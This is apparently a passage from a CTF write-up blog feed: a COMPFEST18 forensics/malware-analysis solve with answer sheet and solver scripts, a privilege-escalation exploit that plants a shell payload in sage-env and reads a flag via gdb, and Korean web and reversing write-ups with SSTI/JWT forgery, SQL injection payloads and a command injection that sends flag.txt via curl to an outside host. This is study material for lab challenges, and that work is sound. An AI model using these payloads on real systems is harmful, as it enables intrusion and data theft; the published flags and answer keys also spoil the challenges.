        length_of_all_following_data = 74370461 = 0x46ECD9D</code></pre><p>The pair <code>9600 / 46ECD9D</code> is what every overlay-aware tool reports. It was tested early and rejected — as were roughly 250 other structural <code>Offset_Size</code> pairs covering the ICMP tunnel, the pcap carve offsets, all five NSIS data blocks, every ZIP member, all 18 minidump streams, the MP4 boxes and every PE section, each in both bare and <code>0x</code>-prefixed form.</p>
<p>The break came from characterising the grader instead of guessing more numbers. Probing it with deliberately mutated <em>known-good</em> answers shows the comparison is a literal <code>user.strip().lower() == expected.lower()</code>:</p>
<ul>
<li><code>DE-AD-BE-EF</code> for Q3 is accepted, so the comparison is case-insensitive.</li>
<li><code>de-ad-be-ef</code> with junk prepended or appended is rejected, so there is no substring match.</li>
<li><code>de ad be ef</code> is rejected, so there is no separator normalisation.</li>
<li><code>016031115</code> for Q8 is rejected, so there is <strong>no numeric normalisation</strong>.</li>
<li><code>&#39; 16031115 &#39;</code> is accepted, so only <code>strip()</code> is applied.</li>
</ul>
<p>The fourth row is the key: if a leading zero can <em>break</em> a correct answer, then leading zeros can equally <em>be</em> part of the correct answer. The author had copied the pair out of a tool that prints 8-digit zero-padded hex (Detect It Easy / a hex editor), so the expected string is the padded form:</p>
<pre><code>00009600_046ECD9D</code></pre><h3 id="q11--original-developer-of-the-smuggled-privilege-escalation-utility-→-johannes_passing">Q11 — original developer of the smuggled privilege-escalation utility → <code>Johannes_Passing</code></h3>
<p>Extracting the overlay gives <code>$PLUGINSDIR/app-64.7z</code> (offset <code>0xC52A</code>, <code>0x46A3975</code> bytes, stored uncompressed), and unpacking that archive gives a stock-looking Electron app whose real payload is <code>resources/app/main.js</code>. That file is obfuscated with javascript-obfuscator, and once its 1,132-entry string array is restored it proves to be a loader that disables Defender, screenshots the desktop through PowerShell, exfiltrates over Telegram and pulls <code>http://62.60.226.198/uploads/b1bfea2e28e542199321fe20ca1737f1.exe</code>.</p>
<p>The utility the question refers to is <code>resources/elevate.exe</code> (107,520 B), the UAC-elevation helper that <code>electron-builder</code> bundles. It carries no <code>VERSIONINFO</code> author string, so the only attribution left in the binary is its PDB path:</p>
<pre><code>C:\Dev\elevate\bin\x86\Release\Elevate.pdb</code></pre><p>That path identifies <strong>elevate</strong> by <strong>Johannes Passing</strong> (github.com/jpassing/elevate).</p>
<h3 id="verified-answer-sheet">Verified answer sheet</h3>
<p>The questionnaire graded the following eleven answers as correct and then released the flag:</p>
<pre><code> 1  192.168.100.10
 2  5.1.26100.8521
 3  de-ad-be-ef
 4  2196231738
 5  d0nt_ruN_th3_m4lw4r3_y4hh_82117caa
 6  c61e123e24a6025bc1aac86391385070
 7  bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!
 8  16031115
 9  be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d
10  00009600_046ECD9D
11  Johannes_Passing</code></pre><h3 id="reproducer-1">Reproducer</h3>
<p>The whole chain reduces to the six mechanical steps below, after which one script enumerates the questions and another answers all eleven of them and prints the flag:</p>
<pre><code class="language-bash">PY=python3

$PY qenum.py
$PY q11.py</code></pre>
<h3 id="exploit-16">Exploit</h3>
<p><code>solve_evidence.py</code></p>
<pre><code class="language-python">import hashlib
import struct
import subprocess
from pathlib import Path


PCAP = Path(&quot;/evidence/public.pcap&quot;)
DUMP = Path(&quot;/evidence/public.dmp&quot;)


def fields(display_filter, *names, decode_as=()):
    command = [&quot;tshark&quot;, &quot;-r&quot;, str(PCAP)]
    for rule in decode_as:
        command += [&quot;-d&quot;, rule]
    command += [&quot;-Y&quot;, display_filter, &quot;-T&quot;, &quot;fields&quot;]
    for name in names:
        command += [&quot;-e&quot;, name]
    return subprocess.check_output(command, text=True).splitlines()


http = fields(&quot;http.request&quot;, &quot;ip.src&quot;, &quot;ip.dst&quot;, &quot;http.request.uri&quot;, &quot;http.user_agent&quot;)
print(&quot;HTTP requests:&quot;)
for line in http:
    print(&quot; &quot;, line)

auth = fields(&quot;tcp.port==4444 &amp;&amp; tcp.len&gt;0&quot;, &quot;ip.src&quot;, &quot;ip.dst&quot;, &quot;tcp.payload&quot;)
first_auth = bytes.fromhex(auth[0].split(&quot;\t&quot;)[-1])
print(&quot;Q3 auth magic:&quot;, first_auth[:4].hex(&quot;-&quot;))

ssrcs = sorted(set(fields(&quot;udp.dstport==1234&quot;, &quot;rtp.ssrc&quot;, decode_as=(&quot;udp.port==1234,rtp&quot;,))))
for ssrc in ssrcs:
    if ssrc:
        print(&quot;Q4 RTP SSRC:&quot;, int(ssrc, 16), f&quot;({ssrc})&quot;)

beacons = []
for line in fields(&quot;icmp.type==8 &amp;&amp; icmp.ident==9999&quot;, &quot;icmp.seq&quot;, &quot;frame.time_epoch&quot;, &quot;data.data&quot;):
    seq, timestamp, payload = line.split(&quot;\t&quot;)
    assert bytes.fromhex(payload) in (b&quot;BEACON&quot;, b&quot;END_BEACON&quot;)
    beacons.append((int(seq), float(timestamp)))
beacons.sort()
bits = [&quot;1&quot; if later[1] - earlier[1] &gt; 1.5 else &quot;0&quot; for earlier, later in zip(beacons, beacons[1:])]
decoded = bytes(int(&quot;&quot;.join(bits[i:i + 8]), 2) for i in range(0, len(bits), 8))
print(&quot;Q5 timing bytes:&quot;, decoded.decode())
print(&quot;Q5 34-character answer:&quot;, decoded[:34].decode())

pieces = {}
with PCAP.open(&quot;rb&quot;) as capture:
    global_header = capture.read(24)
    assert global_header[:4] == b&quot;\xd4\xc3\xb2\xa1&quot;
    assert struct.unpack_from(&quot;&lt;I&quot;, global_header, 20)[0] == 1
    while record_header := capture.read(16):
        assert len(record_header) == 16
        captured_length = struct.unpack_from(&quot;&lt;I&quot;, record_header, 8)[0]
        frame = capture.read(captured_length)
        assert len(frame) == captured_length
        if len(frame) &lt; 42 or frame[12:14] != b&quot;\x08\x00&quot;:
            continue
        ip = frame[14:]
        header_length = (ip[0] &amp; 0x0f) * 4
        if ip[0] &gt;&gt; 4 != 4 or ip[9] != 1 or len(ip) &lt; header_length + 8:
            continue
        icmp = ip[header_length:]
        icmp_type, identifier, seq = icmp[0], int.from_bytes(icmp[4:6], &quot;big&quot;), int.from_bytes(icmp[6:8], &quot;big&quot;)
        payload = icmp[8:]
        if icmp_type != 8 or identifier != 1337 or not payload.startswith(b&quot;EXFIL&quot;):
            continue
        piece = payload[5:]
        if seq in pieces:
            assert pieces[seq] == piece
        else:
            pieces[seq] = piece

seen = set(pieces)
with DUMP.open(&quot;wb+&quot;) as output:
    for seq, piece in sorted(pieces.items()):
        output.seek(seq * 1400)
        output.write(piece)
assert seen == set(range(max(seen) + 1))
dump_bytes = DUMP.read_bytes()
assert dump_bytes.startswith(b&quot;MDMP&quot;)
print(&quot;Q6 dump packets:&quot;, len(seen))
print(&quot;Q6 dump size:&quot;, len(dump_bytes))
print(&quot;Q6 dump MD5:&quot;, hashlib.md5(dump_bytes).hexdigest())</code></pre>
<p><code>decrypt_video.py</code></p>
<pre><code class="language-python">import hashlib
from pathlib import Path

from Cryptodome.Cipher import AES


source = Path(&quot;/input/video.enc&quot;).read_bytes()
key = b&quot;bd7bf788d62bdec9c219316da4487314&quot;
iv = b&quot;y0u_g0t_tr4pp3d!&quot;
plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(source)
padding = plaintext[-1]
assert 1 &lt;= padding &lt;= AES.block_size
assert plaintext.endswith(bytes([padding]) * padding)
plaintext = plaintext[:-padding]
assert plaintext.startswith(b&quot;PK\x03\x04&quot;)
Path(&quot;/output/video.zip&quot;).write_bytes(plaintext)
print(&quot;ciphertext_size=&quot;, len(source))
print(&quot;pkcs7_padding=&quot;, padding)
print(&quot;video_zip_size=&quot;, len(plaintext))
print(&quot;video_zip_sha256=&quot;, hashlib.sha256(plaintext).hexdigest())</code></pre>
<p><code>answer.py</code></p>
<pre><code class="language-python">import re, sys
from pwn import remote, context

context.log_level = &quot;error&quot;

ANSWERS = [
    &quot;192.168.100.10&quot;,
    &quot;5.1.26100.8521&quot;,
    &quot;de-ad-be-ef&quot;,
    &quot;2196231738&quot;,
    &quot;d0nt_ruN_th3_m4lw4r3_y4hh_82117caa&quot;,
    &quot;c61e123e24a6025bc1aac86391385070&quot;,
    &quot;bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!&quot;,
    &quot;16031115&quot;,
    &quot;be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d&quot;,
    &quot;00009600_046ECD9D&quot;,
    &quot;Johannes_Passing&quot;,
]

r = remote(sys.argv[1], int(sys.argv[2]), timeout=30)
transcript = b&quot;&quot;
for i, a in enumerate(ANSWERS, 1):
    chunk = r.recvuntil(b&quot;Answer:&quot;, timeout=60)
    transcript += chunk
    r.sendline(a.encode())
    print(f&quot;[{i:2}/11] sent {a[:40]}&quot;)
transcript += r.recvrepeat(15)
r.close()
text = re.sub(rb&quot;\x1b\[[0-9;]*m&quot;, b&quot;&quot;, transcript).decode(errors=&quot;replace&quot;)
print(text[-1200:])
m = re.search(r&quot;COMPFEST18\{[^}]*\}&quot;, text)
print(&quot;\nFLAG:&quot;, m.group() if m else &quot;NOT FOUND&quot;)</code></pre>
<p><code>Dockerfile.analysis</code></p>
<pre><code class="language-dockerfile">FROM ubuntu:26.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends \
        binutils \
        ffmpeg \
        file \
        p7zip-full \
        python3 \
        python3-pycryptodome \
        tshark \
        unzip \
    &amp;&amp; rm -rf /var/lib/apt/lists/*

WORKDIR /analysis</code></pre>
<h2 id="final-flag-16">Final Flag</h2>
<pre><code>COMPFEST18{b0r05_41r_vv0y_j4n64n_p3cu7_p3cu7_41_mu1u_dfmabfbfdadf}</code></pre><h1 id="miscellaneous">Miscellaneous</h1>
<h2 id="18-jacobian-as-a-service">18. Jacobian as a Service</h2>
<h2 id="steps-17">Steps</h2>
<ol>
<li><p>On the first connection, plant a payload into <code>/home/sage/sage/src/bin/sage-env</code> using the file write behind menu option 2. The payload starts <code>wut</code> normally and then attaches to it with gdb.</p>
</li>
<li><p>On a second connection, trigger the payload, since any new <code>sage</code> start sources <code>sage-env</code>. Inside the attached, group-stopped <code>wut</code> process, whose effective group id is <code>target</code>, read the flag using inferior calls:</p>
<pre><code>gdb -q -batch -p $P \
  -ex &#39;handle SIGSTOP nostop noprint nopass&#39; -ex &#39;set unwindonsignal on&#39; \
  -ex &#39;call (int)getpid()&#39; \                    # throwaway: absorbs the pending SIGSTOP
  -ex &#39;set $b=(char*)malloc(256)&#39; -ex &#39;call (int)memset($b,0,256)&#39; \
  -ex &#39;set $f=(int)open(&quot;/home/ctf/flag.txt&quot;,0)&#39; -ex &#39;call (int)read($f,$b,255)&#39; \
  -ex &#39;x/s $b&#39;</code></pre></li>
<li><p>Collect the flag, which comes back over the same socat pty.</p>
</li>
</ol>
<p>The whole chain was built and solved locally first against a placeholder flag <code>COMPFEST18{test_flag}</code>, and the remote run then succeeded on the first attempt.</p>
<h3 id="exploit-17">Exploit</h3>
<pre><code class="language-python">import re, socket, sys, time
from pathlib import Path

SAGE_ENV = &quot;/home/sage/sage/src/bin/sage-env&quot;
SETGID_BIN = &quot;/home/ctf/tes&quot;
FLAG_PATH  = &quot;/home/ctf/flag.txt&quot;
GDB = (
    &quot;gdb -p $P -batch &quot;
    &quot;-ex &#39;set confirm off&#39; &quot;
    &quot;-ex &#39;set $b=(char*)malloc(256)&#39; &quot;
    f&quot;-ex &#39;set $fd=(int)open(\&quot;{FLAG_PATH}\&quot;,0)&#39; &quot;
    &quot;-ex &#39;set $n=(int)read($fd,$b,255)&#39; &quot;
    &quot;-ex &#39;set *($b+$n)=0&#39; &quot;
    &quot;-ex &#39;printf \&quot;MYFLAG=%s\\n\&quot;, $b&#39; &quot;
    &quot;-ex detach&quot;
)
PAYLOAD = (
    f&quot;{{ {SETGID_BIN} &amp; P=$!; sleep 1; kill -CONT $P; sleep 1; &quot;
    f&quot;{GDB} 2&gt;&amp;1 | grep -a MYFLAG; }} &gt; /tmp/x 2&gt;&amp;1; cat /tmp/x&quot;
)

class Svc:
    def __init__(s, host, port, token):
        s.s = socket.create_connection((host, port), timeout=40); s.s.settimeout(20); s.buf = b&quot;&quot;
        s.until(&quot;access token:&quot;); s.s.sendall(token.encode() + b&quot;\n&quot;)
    def until(s, pat, t=25):
        s.s.settimeout(t)
        try:
            while pat.encode() not in s.buf:
                c = s.s.recv(65536)
                if not c: break
                s.buf += c
        except Exception: pass
        d, s.buf = s.buf, b&quot;&quot;
        return d.decode(errors=&quot;replace&quot;)
    def line(s, x): s.s.sendall(x.encode() + b&quot;\n&quot;)
    def close(s):
        try: s.s.close()
        except Exception: pass

def plant(host, port, token, path, content):
    sv = Svc(host, port, token)
    sv.until(&quot;&gt;&quot;); sv.line(&quot;2&quot;)
    sv.until(&quot;bug name:&quot;); sv.line(path)
    sv.until(&quot;description:&quot;); sv.line(content)
    out = sv.until(&quot;&gt;&quot;, 20); sv.close()
    return &quot;report saved&quot; in out

def trigger(host, port, token):
    sv = Svc(host, port, token)
    out = sv.until(&quot;COMPFEST18{&quot;, 60)
    sv.close(); return out

if __name__ == &quot;__main__&quot;:
    host, port = sys.argv[1], int(sys.argv[2])
    token = sys.argv[3]
    print(&quot;[*] planting payload into&quot;, SAGE_ENV)
    print(&quot;[+] planted&quot; if plant(host, port, token, SAGE_ENV, PAYLOAD) else &quot;[!] plant failed&quot;)
    time.sleep(2)
    print(&quot;[*] triggering on a fresh connection&quot;)
    out = trigger(host, port, token)
    m = re.search(r&quot;COMPFEST18\{[^}]+\}&quot;, out)
    print(&quot;[+] FLAG:&quot;, m.group(0) if m else &quot;(not found)&quot;)
    if not m: print(out[-1200:])</code></pre>
<h2 id="final-flag-17">Final Flag</h2>
<pre><code>COMPFEST18{the_jacobian_conjecture_is_false_claude_VdMvfnAuiINI4ZFE}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[Web hacking CTF]]></title>
            <link>https://velog.io/@shin_yy/Mini-CTF</link>
            <guid>https://velog.io/@shin_yy/Mini-CTF</guid>
            <pubDate>Thu, 07 Aug 2025 10:32:56 GMT</pubDate>
            <description><![CDATA[<h1 id="rednose-u">Rednose U</h1>
<p>가장 까다로운 문제였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/f4a97804-9d8b-48cc-a9de-8a7dd606e319/image.png" alt="">
문제 파일 구성은 저렇게 되어있다.
main.py를 분석해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/a3b96d6c-3554-4a45-bc73-d006f9d55509/image.png" alt="">
JWT를 각각의 유저에게 발급해준다.
admin의 JWT Key는 이 방법으로는 고유 Key값을 알 수 없기 때문에 알 수 없다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1d26652c-1e0a-424e-b081-31d6a0fd6e5c/image.png" alt="">
JWT는 auth라는 이름의 cookie에 저장된다.</p>
<p>이 때 특정 파라미터들은 id가 admin이고, isAdmin이 True가 되야한다.
단순히 admin으로 위조하는 것이 불가능한 것을 확인했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c1b4e1b3-4bc0-4fa5-b30f-746903dc0851/image.png" alt=""><img src="https://velog.velcdn.com/images/shin_yy/post/eab12485-2310-4f5e-a6f8-1514fe11c059/image.png" alt="">
로그인 과정에서 아이디에 대소문자 알파벳을 제외한 모든 특수기호를 블랙리스트로 필터링하는 과정이 있기에 SQL injection은 불가능한 것을 알 수 있다.</p>
<p>하지만 SSTI 공격 기법은 가능해보였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2025e186-67ec-48e8-abca-0396407cbb07/image.png" alt="">
다음을 뜯어서 확인해본 결과 JWTkey를 알 수 있었다.</p>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/88ed722d-6e0a-4a41-971b-852b6a98df51/image.png" alt="">
여기서 페이로드의 base64의 값을
id : admin
isAdmin : true
로 바꾼 뒤 시크릿의 값을 아까 찾은 Key값으로 바꾼다.</p>
<p>쿠키 값을 변조한 후, 다음으로 해야할 것은
<img src="https://velog.velcdn.com/images/shin_yy/post/89c48c8e-2b57-48aa-8a16-d87ad5bd04e6/image.png" alt="">
이 코드에서는 airport의 입력값을 필터링 과정없이 shell로 가져가기 때문에 command injection 공격을 시도할 수 있다.</p>
<p>파일에 들어있는 flag.txt를 읽어보았는데 안되길래 뭔가해서 ls로 확인해보니 파일명이 틀렸다. (...)
아무튼 그래서 올바른 위치를 타겟으로 다시 쿼리를 짜니</p>
<pre><code>/api/metar?airport=;cat flag_qaiu.txt | curl -d @- https://fufvaya.request.dreamhack.games</code></pre><p><img src="https://velog.velcdn.com/images/shin_yy/post/9ebee8f6-1f93-4fb5-9cb7-22f15f1c2bc0/image.png" alt="">
됐다.</p>
<h1 id="w2">W2</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/596d625f-7d44-43bb-933f-0e4a04b47f8e/image.png" alt="">
다음과 같이 테이블에 끼워넣는다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e070933f-6feb-4cc2-9c81-de1d5a3f8905/image.png" alt="">
다음의 필터링에 유의하며 문제를 풀이해보면,</p>
<p>이 소스는 로그인 페이지를 걸쳐 profil 페이지로 넘어가는 구조이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/a891e2ee-0a00-407b-b754-3c514353e21b/image.png" alt="">
프로필 페이지 소스를 보면 user_id 쿼리를 그대로 가져다가 출력한다.</p>
<p>따라서 저 부분을 flags 테이블에서 불러오는 것으로 변조하면 프로필 페이지에 플래그가 노출될 것이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/6d0a5046-1c39-4bb9-b081-ae3dc0489dbd/image.png" alt="">
프로필 페이지에 접근하기 위해선 무조건 로그인이 되어있어야하기에 일단 guest로 로그인 한 후, 파라미터를 변조해보겠다.</p>
<p>다음과 같은 flags 테이블에서 flag_value의 값들을 출력하는 쿼리를 짜서 변조해보면</p>
<pre><code>/profile?id=-1 UNION SELECT flag_value, &#39;a&#39;, &#39;b&#39;, &#39;c&#39; FROM flags--</code></pre><p>이때 a,b,c는 비어있는 Email, Role, Secret을 채워넣기 위해 쓴 것이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/caf9c3df-49a3-47c7-814a-c11f894a445b/image.png" alt="">
정상적으로 풀렸다.</p>
<h1 id="srs">SRS</h1>
<p>소스 코드를 분석해보기 위해 문제 파일을 다운로드 받았다.
소스 파일은 app.py와 flag_server.py가 있었고, 두 개 다 열어보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/dbcff8aa-725f-43d4-8689-fee5640d073c/image.png" alt="">
다음은 flag_server.py 코드인데
&#39;flag&#39; : ...
다음과 같은 형식으로 플래그가 대놓고 들어나 있었다.</p>
<h1 id="t야">T야?</h1>
<p>문제 사이트에 들어가보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/371c0a37-5293-4250-be9c-9bb62e50dce6/image.png" alt="">
다음과 같은 로그인 창만 놓여있고, 특이사항은 보이지 않았다.
따라서 소스 코드를 분석해보았는데,
<img src="https://velog.velcdn.com/images/shin_yy/post/91ffa096-2941-48fb-add3-dce147fcee72/image.png" alt="">
시작할 때, db에서 users라는 테이블과 flags라는 테이블 두 개를 만든다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d46178dc-e228-4bb7-ad38-7dc07401187e/image.png" alt="">
다음과 같이 INSERT를 통해 값들도 채워준다.
users와 admin은 각각 암호화된 비밀번호를 갖고, flags는 flag_value라는 값을 갖는데
표면으로 들어나지 않고 REDACYED가 적혀있는 것을 보아, 말 그대로 플래그 값을 지니는 것 같았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/262912a1-5c37-4ef3-a20b-cdd79f78269f/image.png" alt="">
username과 password를 별도의 처리과정 없이 입력 값 그대로 가져가기 때문에 SQL injection을 할 수 있는 환경이 되었다.
이 쿼리는 말 그대로 입력값을 그대로 db에 명령어로 써넣고 지정 값을 가져오기 때문에, users테이블에서 SELECT를 &#39; 명령어로 종료시키고 flags 테이블로 전환하여 SELECT를 해오면 된다.</p>
<p>로그인에 성공시 출력되는 것은 username이기에 flag_value를 username 대신 출력해주는 쿼리를 짜보면 다음과 같다.</p>
<pre><code>username = &#39; UNION SELECT 1, flag_value, &#39;x&#39;, &#39;x&#39; FROM flags --
password = 아무거나</code></pre><p><img src="https://velog.velcdn.com/images/shin_yy/post/d60a3b65-6b8e-46da-9b89-3ab304b9b6cf/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Reversing CTF]]></title>
            <link>https://velog.io/@shin_yy/Reversing-CTF</link>
            <guid>https://velog.io/@shin_yy/Reversing-CTF</guid>
            <pubDate>Mon, 21 Jul 2025 13:40:28 GMT</pubDate>
            <description><![CDATA[<h1 id="layer7-thief-the-monariza">Layer7, Thief the monariza</h1>
<p>문제 파일을 다운로드 한 후, 바이너리를 IDA로 열어서 디컴파일된 main 함수부터 살펴보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c9de3e78-b1d9-4d8f-9ca0-c1f30d2b3a10/image.png" alt="">
입력받은 문자열 v4를 인자로 갖는 함수 checkPassword 에서 참이 반환되면 realllllll.jpg 라는 파일을 서버에서 내려받는 시스템이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2f2a053c-9a6c-45bf-9460-d34e2b6106eb/image.png" alt="">
함수 checkPassword를 확인해보면 다음과 같은 입력값을 검증하는 코드를 확인할 수 있다.
검증은 비교적 간단하다.
v4[v3[i]]와 0x55 XOR 연산한다.
이 때 이 값이 입력받은 문자열의 인덱스값과 다르면 즉시 0을 반환한다.
모든 키 값이 동일할 경우, 마지막 문자열이 0 이면 &#39;참&#39; 아니면 &#39;거짓&#39;을 반환한다.</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    unsigned long long v4[3] = {0xB21E9F215807A934, 0x934F18E7D50CC430, 0xAC55FEDA3B81672A};
    unsigned char *bytes = (unsigned char *)v4;

    char key[7];

    int v3[6] = {0, 2, 4, 6, 8, 10};

    for (int i = 0; i &lt; 6; i++) {
        key[i] = bytes[v3[i]] ^ 0x55;
    }
    key[7] = 0;

    printf(&quot;%s&quot;, key);

    return 0;
}</code></pre><p>다음의 코드로 Key 값을 찾은 결과
정답 키값은 aRtKeY였다.
해당 코드를 gdb로 실행시킨 후, aRtKeY를 입력하여 realllllll.jpg 파일을 다운로드 받았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/89fef344-a2b6-40a4-ac07-989113980df9/image.png" alt="">
하지만 어째서인지 jpg 파일이 깨져있었고 HxD를 이용하여 Hex 데이터를 분석하여 jpg 파일 헤더에 이상이 있는지 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/bdd3313e-820c-4595-a847-fd82af260d21/image.png" alt="">
그 결과 FF D8이 되어야하는 부분이 FF DB로 되어있는 것을 확인하고 고쳤다.
그랬더니 정상적으로 jpg 파일이 열리며 파일에 담긴 플래그를 찾을 수 있었다.</p>
<p>사진은 조금 흉측한 관계로 첨부하지 않겠다..</p>
<h1 id="yekrox">YEKROX</h1>
<p>마찬가지로 문제 파일을 다운 받은 후, IDA로 디컴파일하여 main함수를 보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/11d01f2f-c6bf-415d-bc0a-805579ccab12/image.png" alt="">
var0라는 문자열에 암호화된 확인 문자열이 들어가는 것을 확인할 수 있었다.
암호화는 간단하게 인덱스값과 66을 더한 후, v3와 XOR 연산을 실시한다.
v3의 값은 byte_402040에 저장된 값이다.
이 문제는 입력받은 값을 암호화하여 키 값과 비교하는 것이 아니므로 역연산이 필요없다.
따라서 byte_402040에 저장된 값을 확인한 후, 그대로 코드를 짜주었다.</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    unsigned char byte_402040[36] = {
    0x0E, 0x22, 0x3D, 0x20, 0x34, 0x70, 0x33, 0x20, 0x2D, 0x24, 0x13,
    0x20, 0x21, 0x3B, 0x20, 0x3E, 0x3D, 0x3F, 0x39, 0x2C, 0x33, 0x38,
    0x36, 0x06, 0x3D, 0x3A, 0x25, 0x28, 0x30, 0x00, 0x15, 0x0F, 0x06,
    0x06, 0x16, 0x18
    };


    unsigned char vars0[37] = {0};

    int v3 = 14;

    for (int i = 0; i &lt; 36; i++) {
        v3 = byte_402040[i];
        vars0[i] = v3 ^ (i + 66);   
    }

    vars0[36] = 0;

    printf(&quot;%s&quot;, vars0);

    return 0;
}</code></pre><p>플래그는 정상적으로 출력되었다.</p>
<h1 id="xoring">XORING</h1>
<p>문제파일을 IDA로 실행시킨 후, main함수를 보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1a3ace05-af37-46ed-898b-deefd46121c1/image.png" alt="">
s2에 xmmword_2060에 값을 넣고 입력받은 문자열과 v6의 주소값을 인자로 사용하여 sub_1350을 실행한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/40bad002-c20f-490f-87f8-dee8448cbb2c/image.png" alt="">
이 함수를 통해 입력받은 값 31바이트의 문자열을 XOR 암호화한 후, 아까 main 함수에서 memcmp를 통해 키값과 비교하여 일치하는지를 검사한다.
하지만 여기서 이상한 점을 발견할 수 있는데 단순히 xmmword_2060에 저장된 값은 16바이트 밖에 안된다. 따라서 15바이트를 또 찾아내야한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/7ae984e3-a193-4dec-910d-e7094e00819d/image.png" alt="">
또한 xmmword_2060의 저장된 값 역시 그대로 참조하는 것이 아닌, 리틀엔디안 방식
즉, 뒤에서부터 1바이트씩 가져와야한다.
이제 나머지 15바이트를 찾아보자.
본인은 도저히 찾기가 어려워서 디컴파일을 해제하고 다시 어셈블리를 확인하여 분석을 이어갔다.
그러다가 main함수에 위쪽에서 특이한 것을 발견했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e101d4a6-60b3-4583-b0df-5cf3dcc60211/image.png" alt="">
살짝 해석해보면
var_78은 8바이트, var_70은 4바이트, var_6C는 2바이트, var_6A는 1바이트를 갖는 스택 프레임의 변수 레이아웃이였다.
s2는 우리가 아까봤던 xmmword 인것을 보니 이것을 모두 더한 31바이트가 키값이 되는 것을 확신하고 각각의 변수에 저장된 값을 확인하여 아까봤던 XOR 연산의 역산 코드를 작성하였다.</p>
<pre><code>
int main() {
    uint8_t enc[31] = {
        0x06, 0x22, 0x2F, 0xD0, 0x20, 0x44, 0x39, 0x30,
        0x2B, 0x67, 0x63, 0x64, 0x12, 0x65, 0x73, 0x1A,
        0x72, 0x72, 0x58, 0xA0, 0x87, 0xAB, 0x5F, 0x85,
        0x81, 0x97, 0x8D, 0xEC,
        0xEC, 0xEC,
        0xEF
    };

    char flag[32];
    int v2 = 3;

    for (int i = 0; i &lt; 31; ++i) {
        int temp = (enc[i] ^ 0x5A) - 13;
        int ch = temp ^ v2;
        v2 = (v2 + 7) &amp; 0xFF;
        flag[i] = (char)ch;
    }

    flag[31] = &#39;\0&#39;;

    printf(&quot;%s&quot;, flag);
    return 0;
}</code></pre><p>다음 코드를 실행 시키면 플래그가 출력된다.</p>
<h1 id="how-can-i-live-without-u">How can i live without u</h1>
<p> IDA를 이용해 디컴파일 한 후, main함수를 확인해보았다.</p>
<pre><code> __int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // edx
  int i; // eax
  char v6; // cl
  __int64 v7; // rdx
  size_t v8; // rax
  char *v9; // rdx
  char v10; // al
  __int64 j; // rax
  char *v12; // r8
  char *v13; // rdx
  int v14; // eax
  char v15; // cl
  char *v16; // rax
  int v17; // ecx
  int v18; // edx
  int v19; // esi
  __int64 k; // rsi
  int v21; // edx
  char v22; // al
  char v23; // al
  unsigned int v24; // r12d
  int v26; // [rsp+Ch] [rbp-1FCh]
  __int128 v27; // [rsp+10h] [rbp-1F8h] BYREF
  _BYTE v28[64]; // [rsp+20h] [rbp-1E8h] BYREF
  char s1[144]; // [rsp+60h] [rbp-1A8h] BYREF
  char s[280]; // [rsp+F0h] [rbp-118h] BYREF

  v3 = 0;
  v26 = 305419896;
  do
  {
    v4 = v3 ^ v26;
    v3 -= 1640531527;
    v26 = v4;
  }
  while ( v3 != -844395452 );
  for ( i = 0; i != 64; ++i )
  {
    v6 = i;
    v7 = i;
    v28[v7] = v6 ^ 0x5A;
  }
  __printf_chk(1, &quot;Enter the flag: &quot;);
  fflush(stdout);
  if ( fgets(s, 256, stdin) )
  {
    v8 = strcspn(s, &quot;\n&quot;);
    v9 = (char *)&amp;v27;
    s[v8] = 0;
    v10 = 0;
    v27 = 0;
    while ( 1 )
    {
      *v9++ = __ROL1__(~v10, 1) + 51;
      if ( v28 == v9 )
        break;
      v10 = *v9;
    }
    if ( strlen(s) != 144 )
      goto LABEL_23;
    for ( j = 0; j != 144; ++j )
      s1[j] = s[j];
    v12 = s1;
    v13 = s1;
    v14 = 0;
    do
    {
      v15 = v14;
      v14 += 23;
      *v13++ ^= v15 ^ 0x42;
    }
    while ( (_BYTE)v14 != 0xF0 );
    v16 = s1;
    v17 = 55;
    v18 = 19;
    do
    {
      *v16 += v18;
      v19 = v17;
      ++v16;
      v17 += v18;
      v18 = v19;
    }
    while ( s != v16 );
    for ( k = 0; k != 144; ++k )
      s1[k] = __ROL1__(s1[k], k % 7 + 1);
    v21 = 0;
    do
    {
      v22 = *v12++;
      v23 = v21 ^ v22;
      v21 += 3;
      *(v12 - 1) = v23 ^ 0xAA;
    }
    while ( s != v12 );
    v24 = memcmp(s1, &amp;unk_402040, 0x90u);
    if ( v24 )
    {
LABEL_23:
      v24 = 1;
      __printf_chk(1, &quot;Wrong!\n&quot;);
    }
    else
    {
      __printf_chk(1, &quot;Yes\n&quot;);
    }
  }
  else
  {
    v24 = 1;
